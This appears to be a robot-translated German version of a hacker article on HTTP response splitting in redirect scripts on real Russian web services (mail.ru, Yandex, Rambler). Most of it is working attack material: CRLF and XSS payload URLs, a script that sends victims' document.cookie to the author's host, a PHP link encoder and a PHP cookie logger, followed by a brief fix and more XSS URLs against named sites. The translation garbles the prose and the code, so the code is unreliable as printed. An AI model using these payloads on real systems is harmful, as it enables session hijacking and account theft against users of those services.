This page has been robot translated, sorry for typos if any. Original content here.

HTTP-Splitting-Sicherheitsanfälligkeit

Der Artikel beschreibt die praktische Anwendung einer Sicherheitsanfälligkeit, die als HTTP-Splitting-Sicherheitsanfälligkeit bezeichnet wird.

Ein Basis-Header () unter einem Mikroskop

Wenn wir die Weite des Internets durchwandern, sehen wir oft die URL der Form http://anyhost.com/redirect.php?url=http://otherhost.com. Der einfältige Nutzer hört nicht lange auf zu denken, er klickt einfach darauf und bedient sich bei otherhost.com. Ein neugieriger Benutzer ersetzt die URL-Adresse für die Adresse seines Hompagys, er ist auch von der Krümmung des Skripts überzeugt.
Neben einfach auch neugierig im Internet leben eher neugierige User. Sie fahren einen Link in AccessDiver beginnen auch die Arbeit des Skripts zu lernen.

1. Die Essenz des Fehlers.
2. Praktische Anwendung.
3. Ort der Häufigkeit des Fehlers.
4. Mittel des Schutzes.

Für Panzer schlage ich vor, dass AccessDiver "Hakre" ist, wie es in einer Nation üblich ist, eine Waffe auszudrücken. Download ist für das Offsite- Projekt erlaubt. Zum Zeitpunkt der Erstellung dieses Textes war die neueste Version des Dienstprogramms 4.173. Das Programm ist am meisten für seine HTTP Debuger-Funktion bekannt. Sie können es verwenden, indem Sie in den Expertenmodus wechseln und im Menü Extras auch die entsprechende Funktion auswählen (F4 dann Strg + F9 - abhängig von der Version der Schlüssel könnte geändert werden). Als nächstes werden wir nicht die Pflege für seine Stimmung betonen, jeder Schüler wird mit dem Taucher fertig werden.

Für Experimente haben wir uns für mail.ru entschieden, weil dies der bekannteste E-Mail-Dienst im Runet ist. Außerdem ist der Leser besonders daran interessiert, den Fehler in diesem Projekt zu erfahren;) Gehen wir auf den Link http://go.mail.ru/urltracker?url=http:/ /www.security-teams.net . Wir werden auf das meistgewählte Portal für Computersicherheit geworfen;). Wir fügen die Seite den Lesezeichen hinzu und kehren zur E-Mail zurück. Schreiben Sie den Link, der uns interessiert, im Feld HTTP-Adresse, setzen Sie den Modus gleich Get, klicken Sie auf Verbinden.
Wir sehen die vom Server zurückgegebenen HTTP-Header wie im Screenshot:



Lassen Sie uns auf die unterstrichene Zeile achten. In den Kopfzeilen getroffen : Der Browser führt uns bedingungslos zu der angegebenen URL. Daher können wir den Benutzer mit einem Link wie auf einer Mail verschieben, aber er kommt überhaupt nicht zur Mail. All das ist wunderbar, aber in der Praxis kann nichts veräußern.

Beachten Sie , dass die Zeilen im Header durch zwei Zeichen 0Dh 0Ah getrennt sind . Und was, wenn Sie sie am Ende des Links zuweisen? Mal sehen, was den Server zum Einwand der Anfrage zurückbringt http://go.mail.ru/urltracker?url=null%0D%0Ahacked_by:%20drmist :



Wie interessant. So können wir den Server zwingen, fast jeden Header auszugeben. Ändern Sie beispielsweise benutzerdefinierte Cookies. Aber es ist immer noch nicht so interessant wie das, was auf uns wartet. Es ist interessant, dass die Überschriften vom Körper der Handlung durch die Folge 0Dh 0Ah 0Dh 0Ah getrennt sind . Können wir jede Seite komplett herausgeben? Wir geben http://go.mail.ru/urltracker?url=% 0D% 0A% 0D% 0A <script> alert (document.cookie) ein; </ script> <!



Alles, was gelb ist, ist der Text des Dokuments selbst. Wenn JavaScript im Browser aktiviert ist, wird durch Klicken auf den Link das Nachrichtenfeld mit unseren Cookies angezeigt. Um einen XSS-Angriff zu begehen, benötigen Sie:
1) Erstellen Sie eine Seite vom Typ <script> document.location = 'http://drmist.ru/log.php?'+document.cookie; </ script>
2) Übersetzen Sie es in url-encode mit dem Skript:

<? php
$ url = "http://go.mail.ru/urltracker?url=";
$ s = "<script> document.location = 'http: //drmist.ru/log.php?'";
$ s. = "+ document.cookie; </ script>";
$ res = "";
für ($ i = 0; $ i <strlen ($ s); $ i ++)
{
$ res. = "%";
$ t = ord ($ s [$ i]);
wenn ($ t <16)
$ res. = "0";
$ res. = dechex ($ t);
}

echo $ url. "% 0d% 0a% 0d% 0a". $ res;
?>

Wir bekommen:
http://go.mail.ru/urltracker?url=%0d%0a%0d%0a%3c%73%63 ... und so weiter. (**)

3) Schreiben Sie das Skript log.php, füllen Sie es auch mit drmist.ru aus:
<? php
$ fid = fopen ("../log.txt", "a");
fputs ($ fid, $ _SERVER ["QUERY_STRING"]. "\ r \ r \ r");
fclose ($ fid);
header ("Ort: http://www.mail.ru");
?>

Jetzt ist es erlaubt, eine magische Referenz (**) zu erstellen, um die Cookies des Opfers zu erhalten.
Sie dürfen viele nützliche Dinge tun, um zum Beispiel Zugriff auf die Post zu erhalten, aber darüber haben wir uns zu einem anderen Zeitpunkt auch vom Hauptthema abgelenkt.

Natürlich müssen Sie nicht zur Post fahren, es ist eine Dummy-Ressource, Scheiße und kann schließlich nicht aus unserer Sandbox stammen. Es ist üblich, dass alle Leute einen Fehler machen, aber die Admins von mail.ru sind weniger wahrscheinlich, weniger Fehler zu machen. Wahre Fehler bleiben noch. , die Menschen schweigen in keiner Weise wegen der Gier, sondern wegen der Angst vor einer unzureichenden Reaktion der Verwaltung auf ihre Erkenntnis, die laut Statistik einen Platz hat. Glücklicherweise garantiert das Vorhandensein von XSS immer noch keinen Zugriff auf die Mailbox. Ich bin sicher, der Fehler wird abgedeckt. Spätestens - nach 2 Tagen. Verwundbar nicht nur mail.ru. Ich empfehle dringend, dass Sie lesen:
http://yandex.ru/redir/?url=[XSS]
http://rambler.ru//click?_URL=[XSS]

Ehrlich gesagt waren wir zu der Zeit überrascht, als ich erfuhr, dass solche Sicherheitslücken vor 3 Jahren auf securitylab.ru geschrieben wurden (siehe Einführung von CRLF in PHP-Funktion header () vom 10.09.2002), aber was den praktischen Gebrauch des Fehlers angeht, Ich habe es noch nie gehört, ich fand das Thema relevant. Durch diesen Blabla ist es erlaubt, Fehler in Yandex zu benennen und auch zu mailen.

Korrigieren Sie den Fehler ist nicht schwer. Lassen Sie das verwundbare Skript essen:

<?
if (! isset ($ url))
$ url = "http://www.mail.ru";

header ("Location: $ url");

?>

Wir machen ihn unverwundbar:

Header ("Ort:" .urlencode ($ url));

Wenn eine Weiterleitung nur innerhalb der Site geplant ist, ist dies am besten zu tun:

header ("Ort: http://www.mail.ru/".urlencode($url));

Das ist wahrscheinlich alles, was wir sagen wollten. Lassen Sie mich als nächstes einige weitere XSS vorschlagen:

http://talk.mail.ru/article.html?ID=31836089&page=1 "> <h1> XSS </ h1>
http://www.pochta.ru/?lng=de "<h1> XSS </ h1>